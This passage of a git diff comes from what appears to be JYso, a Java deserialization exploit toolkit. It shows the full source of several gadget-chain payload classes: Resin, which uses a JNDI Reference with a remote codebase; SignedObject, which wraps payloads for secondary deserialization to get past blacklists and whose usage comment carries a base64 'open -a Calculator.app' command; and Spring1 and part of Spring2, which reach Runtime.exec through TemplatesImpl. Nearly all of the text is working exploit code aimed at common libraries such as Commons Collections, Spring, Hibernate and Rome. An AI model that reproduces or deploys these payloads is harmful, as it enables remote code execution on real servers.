= new QName(ctx, "foo", "bar"); - return makeToStringTrigger(qName); - } - -} +package com.qi4l.JYso.gadgets; + +import com.caucho.naming.QName; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xpath.internal.objects.XString; + +import javax.naming.CannotProceedException; +import javax.naming.Reference; +import javax.naming.directory.DirContext; +import java.lang.reflect.Constructor; +import java.net.URI; +import java.util.Hashtable; + +import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; + +@SuppressWarnings({"unused"}) +public class Resin implements ObjectPayload { + public static Object makeToStringTrigger(Object o) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return makeMap(o, xString); + } + + public static String unhash(int hash) { + int target = hash; + StringBuilder answer = new StringBuilder(); + if (target < 0) { + // String with hash of Integer.MIN_VALUE, 0x80000000 + answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); + + if (target == Integer.MIN_VALUE) + return answer.toString(); + // Find target without sign bit set + target = target & Integer.MAX_VALUE; + } + + unhash0(answer, target); + return answer.toString(); + } + + private static void unhash0(StringBuilder partial, int target) { + int div = target / 31; + int rem = target % 31; + + if (div <= Character.MAX_VALUE) { + if (div != 0) + partial.append((char) div); + partial.append((char) rem); + } else { + unhash0(partial, div); + partial.append((char) rem); + } + } + + @Override + public Object getObject(String command) throws Exception { + //需要处理command + return makeResinQName(command); + } + + public Object makeResinQName(String command) throws Exception { + Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ + Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); + ccCons.setAccessible(true); + CannotProceedException cpe = new CannotProceedException(); + Reflections.setFieldValue(cpe, "cause", null); + Reflections.setFieldValue(cpe, "stackTrace", null); + //考虑换成其他的 + URI uri = new URI(command); + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + cpe.setResolvedObj(new Reference("Foo", args[1], args[0])); + + Reflections.setFieldValue(cpe, "suppressedExceptions", null); + DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); + QName qName = new QName(ctx, "foo", "bar"); + return makeToStringTrigger(qName); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java index abee977..b89dc85 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java @@ -1,255 +1,255 @@ -package com.qi4l.JYso.gadgets; - -import cn.hutool.core.comparator.PropertyComparator; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.SignedObjectUtils; -import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; -import com.sun.syndication.feed.impl.ObjectBean; -import org.apache.commons.beanutils.BeanComparator; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; -import org.apache.commons.collections4.bag.TreeBag; -import org.apache.commons.collections4.comparators.TransformingComparator; -import org.mozilla.javascript.*; -import org.mozilla.javascript.tools.shell.Environment; -import org.springframework.beans.factory.ObjectFactory; - -import java.awt.*; -import java.io.ObjectOutputStream; -import java.io.Serializable; -import java.lang.reflect.*; -import java.math.BigInteger; -import java.util.*; - -import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; -import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; -import static com.qi4l.JYso.gadgets.utils.Serializer.serialize; -import static com.qi4l.JYso.gadgets.utils.Utils.*; -import static java.lang.Class.forName; - -/** - * SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) - * 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点; - * yso 中大概包含如下几种可用的常见调用链: - * 1. InvokerTransformer 调用任意方法(依赖 CC) - * 2. BeanComparator 调用 getter 方法(依赖 CB) - * 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate) - * 4. ToStringBean 调用全部 getter 方法(依赖 Rome) - * 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) - * 6. MemberBox 反射调用任意方法(依赖 rhino) - * 7. hutool.MapProxy 二次反序列化 - * 8. MapMessage 二次反序列化 - *

- * 利用方式: - * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' - * 最后2个类型是脏数据类型和长度,为0则不混淆 - * @author QI4L - */ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class SignedObject implements ObjectPayload { - - public Object getObject(String command) throws Exception { - String[] commands = command.split(":"); - - if (commands.length < 3) { - throw new IllegalArgumentException("Command format is: ::::"); - } - - String type1 = commands[0]; - Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); - - switch (type1.toLowerCase()) { - case "cb": - return getSignedObjectWithCB(object); - case "hibernate": - return getSignedObjectWithHibernate(object); - case "rome": - return getSignedObjectWithRome(object); - case "rhino": - return getSignedObjectWithRhino(object); - case "spring": - return getSignedObjectWithSpring(object); - case "cc4": - return getSignedObjectWithCC4(object); - case "cu": - return getHutoolMapProxy(object); - case "mm": - return getMapMessage(object); - case "cc": - default: - return getSignedObjectWithCCNoArray(object); - } - } - - - public Object getOriginal(String[] args) throws Exception { - final String payloadType = args[0]; - String command = args[1]; - - // 支持单双引号 - if (command.startsWith("'") || command.startsWith("\"")) { - command = command.substring(1, command.length() - 1); - } - - String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); - - final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); - ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject(realCmd); - - if (args.length >= 3) { - final String type = args[2]; - final String length = args[3]; - object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); - } - - return object; - } - - // MapMessage二次反序列化 - public Object getMapMessage(Object serObj) throws Exception { - Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage"); - Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj)); - - PriorityQueue queue = new PriorityQueue<>(2); - queue.add(1); - queue.add(1); - - Object[] objects = (Object[]) getFieldValue(queue, "queue"); - objects[1] = mapMessage; - - Comparator comparator = new PropertyComparator<>("getKey"); - setFieldValue(queue, "comparator", comparator); - return queue; - } - - // hutool.MapProxy 二次反序列化 - public Object getHutoolMapProxy(Object serObj) throws Exception { - HashMap map = new HashMap<>(); - map.put("bounds", serialize(serObj)); - cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map); - Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy); - - PriorityQueue queue = new PriorityQueue<>(2); - queue.add(1); - queue.add(1); - - Object[] objects = (Object[]) getFieldValue(queue, "queue"); - objects[1] = proxy; - - Comparator comparator = new PropertyComparator<>("bounds"); - setFieldValue(queue, "comparator", comparator); - return queue; - } - - // CC 无数组二次反序列化 - public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - - Map old = new HashMap<>(); - Transformer invoke = new InvokerTransformer("toString", null, null); - Map newMap = LazyMap.decorate(old, invoke); - TiedMapEntry entry = new TiedMapEntry(newMap, obj); - Map ht = new HashMap<>(); - ht.put(entry, obj); - newMap.remove(obj); - - setFieldValue(invoke, "iMethodName", "getObject"); - return ht; - } - - // CC4 无 TiedMapEntry 二次反序列化 - public Object getSignedObjectWithCC4(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - - org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]); - TransformingComparator comp = new TransformingComparator<>(transformer); - TreeBag tree = new TreeBag<>((Comparator) comp); - tree.add(obj); - setFieldValue(transformer, "iMethodName", "getObject"); - return tree; - } - - // CB 二次反序列化 - public Object getSignedObjectWithCB(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - - final BeanComparator comparator = new BeanComparator<>("lowestSetBit"); - final PriorityQueue queue = new PriorityQueue<>(2, (Comparator) comparator); - queue.add(new BigInteger("1")); - queue.add(new BigInteger("1")); - - setFieldValue(comparator, "property", "object"); - setFieldValue(queue, "queue", new Object[]{obj, obj}); - return queue; - } - - // Hibernate 二次反序列化 - public Object getSignedObjectWithHibernate(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); - return Hibernate1.makeCaller(obj, getters); - } - - - // Rome 二次反序列化 - public Object getSignedObjectWithRome(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); - ObjectBean root = new ObjectBean(ObjectBean.class, delegate); - return makeMap(root, root); - } - - - // Spring-Core 二次反序列化 - public Object getSignedObjectWithSpring(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - ObjectFactory objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class); - Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); - Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); - - final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); - final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0); - setFieldValue(mitp, "methodName", "getObject"); - return mitp; - } - - // Rhino 二次反序列化 - public Object getSignedObjectWithRhino(Object serObj) throws Exception { - Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - ScriptableObject dummyScope = new Environment(); - Map associatedValues = new Hashtable<>(); - associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); - setFieldValue(dummyScope, "associatedValues", associatedValues); - Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); - ScriptableObject initContextScriptableObject = new Environment(); - Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); - Reflections.setAccessible(makeSlot); - Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); - setFieldValue(slot, "getter", initContextMemberBox); - NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); - setFieldValue(initContextNativeJavaObject, "parent", dummyScope); - setFieldValue(initContextNativeJavaObject, "isAdapter", true); - setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); - setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); - ScriptableObject scriptableObject = new Environment(); - scriptableObject.setParentScope(initContextNativeJavaObject); - makeSlot.invoke(scriptableObject, "object", 0, 2); - NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); - setFieldValue(nativeJavaArray, "parent", dummyScope); - setFieldValue(nativeJavaArray, "javaObject", obj); - nativeJavaArray.setPrototype(scriptableObject); - setFieldValue(nativeJavaArray, "prototype", scriptableObject); - NativeJavaObject nativeJavaObject = new NativeJavaObject(); - setFieldValue(nativeJavaObject, "parent", dummyScope); - setFieldValue(nativeJavaObject, "isAdapter", true); - setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", - this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); - setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); - - return nativeJavaObject; - } -} +package com.qi4l.JYso.gadgets; + +import cn.hutool.core.comparator.PropertyComparator; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SignedObjectUtils; +import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; +import com.sun.syndication.feed.impl.ObjectBean; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; +import org.springframework.beans.factory.ObjectFactory; + +import java.awt.*; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.lang.reflect.*; +import java.math.BigInteger; +import java.util.*; + +import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; +import static com.qi4l.JYso.gadgets.utils.Serializer.serialize; +import static com.qi4l.JYso.gadgets.utils.Utils.*; +import static java.lang.Class.forName; + +/** + * SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) + * 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点; + * yso 中大概包含如下几种可用的常见调用链: + * 1. InvokerTransformer 调用任意方法(依赖 CC) + * 2. BeanComparator 调用 getter 方法(依赖 CB) + * 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate) + * 4. ToStringBean 调用全部 getter 方法(依赖 Rome) + * 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) + * 6. MemberBox 反射调用任意方法(依赖 rhino) + * 7. hutool.MapProxy 二次反序列化 + * 8. MapMessage 二次反序列化 + *

+ * 利用方式: + * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' + * 最后2个类型是脏数据类型和长度,为0则不混淆 + * @author QI4L + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class SignedObject implements ObjectPayload { + + public Object getObject(String command) throws Exception { + String[] commands = command.split(":"); + + if (commands.length < 3) { + throw new IllegalArgumentException("Command format is: ::::"); + } + + String type1 = commands[0]; + Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); + + switch (type1.toLowerCase()) { + case "cb": + return getSignedObjectWithCB(object); + case "hibernate": + return getSignedObjectWithHibernate(object); + case "rome": + return getSignedObjectWithRome(object); + case "rhino": + return getSignedObjectWithRhino(object); + case "spring": + return getSignedObjectWithSpring(object); + case "cc4": + return getSignedObjectWithCC4(object); + case "cu": + return getHutoolMapProxy(object); + case "mm": + return getMapMessage(object); + case "cc": + default: + return getSignedObjectWithCCNoArray(object); + } + } + + + public Object getOriginal(String[] args) throws Exception { + final String payloadType = args[0]; + String command = args[1]; + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); + + final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(realCmd); + + if (args.length >= 3) { + final String type = args[2]; + final String length = args[3]; + object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); + } + + return object; + } + + // MapMessage二次反序列化 + public Object getMapMessage(Object serObj) throws Exception { + Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage"); + Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj)); + + PriorityQueue queue = new PriorityQueue<>(2); + queue.add(1); + queue.add(1); + + Object[] objects = (Object[]) getFieldValue(queue, "queue"); + objects[1] = mapMessage; + + Comparator comparator = new PropertyComparator<>("getKey"); + setFieldValue(queue, "comparator", comparator); + return queue; + } + + // hutool.MapProxy 二次反序列化 + public Object getHutoolMapProxy(Object serObj) throws Exception { + HashMap map = new HashMap<>(); + map.put("bounds", serialize(serObj)); + cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map); + Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy); + + PriorityQueue queue = new PriorityQueue<>(2); + queue.add(1); + queue.add(1); + + Object[] objects = (Object[]) getFieldValue(queue, "queue"); + objects[1] = proxy; + + Comparator comparator = new PropertyComparator<>("bounds"); + setFieldValue(queue, "comparator", comparator); + return queue; + } + + // CC 无数组二次反序列化 + public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + Map old = new HashMap<>(); + Transformer invoke = new InvokerTransformer("toString", null, null); + Map newMap = LazyMap.decorate(old, invoke); + TiedMapEntry entry = new TiedMapEntry(newMap, obj); + Map ht = new HashMap<>(); + ht.put(entry, obj); + newMap.remove(obj); + + setFieldValue(invoke, "iMethodName", "getObject"); + return ht; + } + + // CC4 无 TiedMapEntry 二次反序列化 + public Object getSignedObjectWithCC4(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator<>(transformer); + TreeBag tree = new TreeBag<>((Comparator) comp); + tree.add(obj); + setFieldValue(transformer, "iMethodName", "getObject"); + return tree; + } + + // CB 二次反序列化 + public Object getSignedObjectWithCB(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + final BeanComparator comparator = new BeanComparator<>("lowestSetBit"); + final PriorityQueue queue = new PriorityQueue<>(2, (Comparator) comparator); + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + setFieldValue(comparator, "property", "object"); + setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } + + // Hibernate 二次反序列化 + public Object getSignedObjectWithHibernate(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); + return Hibernate1.makeCaller(obj, getters); + } + + + // Rome 二次反序列化 + public Object getSignedObjectWithRome(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return makeMap(root, root); + } + + + // Spring-Core 二次反序列化 + public Object getSignedObjectWithSpring(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectFactory objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class); + Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); + Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0); + setFieldValue(mitp, "methodName", "getObject"); + return mitp; + } + + // Rhino 二次反序列化 + public Object getSignedObjectWithRhino(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable<>(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + setFieldValue(dummyScope, "associatedValues", associatedValues); + Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); + setFieldValue(slot, "getter", initContextMemberBox); + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + setFieldValue(initContextNativeJavaObject, "isAdapter", true); + setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "object", 0, 2); + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + setFieldValue(nativeJavaArray, "parent", dummyScope); + setFieldValue(nativeJavaArray, "javaObject", obj); + nativeJavaArray.setPrototype(scriptableObject); + setFieldValue(nativeJavaArray, "prototype", scriptableObject); + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + setFieldValue(nativeJavaObject, "parent", dummyScope); + setFieldValue(nativeJavaObject, "isAdapter", true); + setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + + return nativeJavaObject; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java index 9ed0de7..4beb42a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java @@ -1,75 +1,75 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.springframework.beans.factory.ObjectFactory; - -import javax.xml.transform.Templates; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Type; - -import static com.qi4l.JYso.gadgets.utils.Utils.*; -import static java.lang.Class.forName; - -/** - * Gadget chain: - *

- * ObjectInputStream.readObject() - * SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() - * SerializableTypeWrapper.TypeProvider(Proxy).getType() - * AnnotationInvocationHandler.invoke() - * HashMap.get() - * ReflectionUtils.findMethod() - * SerializableTypeWrapper.TypeProvider(Proxy).getType() - * AnnotationInvocationHandler.invoke() - * HashMap.get() - * ReflectionUtils.invokeMethod() - * Method.invoke() - * Templates(Proxy).newTransformer() - * AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() - * ObjectFactory(Proxy).getObject() - * AnnotationInvocationHandler.invoke() - * HashMap.get() - * Method.invoke() - * TemplatesImpl.newTransformer() - * TemplatesImpl.getTransletInstance() - * TemplatesImpl.defineTransletClasses() - * TemplatesImpl.TransletClassLoader.defineClass() - * Pwner*(Javassist-generated). - * Runtime.exec() - */ -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-beans:4.1.4.RELEASE"}) -@Authors({Authors.FROHOFF}) -public class Spring1 implements ObjectPayload { - public static boolean isApplicableJavaVersion() { - return JavaVersion.isAnnInvHUniversalMethodImpl(); - } - - @Override - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - - final ObjectFactory objectFactoryProxy = - createMemoitizedProxy(createMap("getObject", templates), ObjectFactory.class); - - final Type typeTemplatesProxy = createProxy((InvocationHandler) - Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") - .newInstance(objectFactoryProxy), Type.class, Templates.class); - - final Object typeProviderProxy = createMemoitizedProxy( - createMap("getType", typeTemplatesProxy), - forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); - - final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); - final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0); - Reflections.setFieldValue(mitp, "methodName", "newTransformer"); - - return mitp; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.springframework.beans.factory.ObjectFactory; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static com.qi4l.JYso.gadgets.utils.Utils.*; +import static java.lang.Class.forName; + +/** + * Gadget chain: + *

+ * ObjectInputStream.readObject() + * SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.findMethod() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.invokeMethod() + * Method.invoke() + * Templates(Proxy).newTransformer() + * AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + * ObjectFactory(Proxy).getObject() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * Method.invoke() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * TemplatesImpl.TransletClassLoader.defineClass() + * Pwner*(Javassist-generated). + * Runtime.exec() + */ +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-beans:4.1.4.RELEASE"}) +@Authors({Authors.FROHOFF}) +public class Spring1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + final ObjectFactory objectFactoryProxy = + createMemoitizedProxy(createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = createMemoitizedProxy( + createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring2.java b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java index f8068c4..d4cf792 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Spring2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java @@ -1,64 +1,64 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.springframework.aop.framework.AdvisedSupport; -import org.springframework.aop.target.SingletonTargetSource; - -import javax.xml.transform.Templates; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Type; - -import static com.qi4l.JYso.gadgets.utils.Utils.*; -import static java.lang.Class.forName; - -/** - * Just a PoC to proof that the ObjectFactory stuff is not the real problem. - *

- * Gadget chain: - * TemplatesImpl.newTransformer() - * Method.invoke(Object, Object...) - * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) - * JdkDynamicAopProxy.invoke(Object, Method, Object[]) - * $Proxy0.newTransformer() - * Method.invoke(Object, Object...) - * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) - * - * @author mbechler - */ - -@SuppressWarnings({"unused"}) -@Dependencies({ - "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", - // test deps - "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" -}) -@Authors({Authors.MBECHLER}) -public class Spring2 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - - AdvisedSupport as = new AdvisedSupport(); - as.setTargetSource(new SingletonTargetSource(templates)); - - final Type typeTemplatesProxy = createProxy( - (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), - Type.class, - Templates.class); - - final Object typeProviderProxy = createMemoitizedProxy( - createMap("getType", 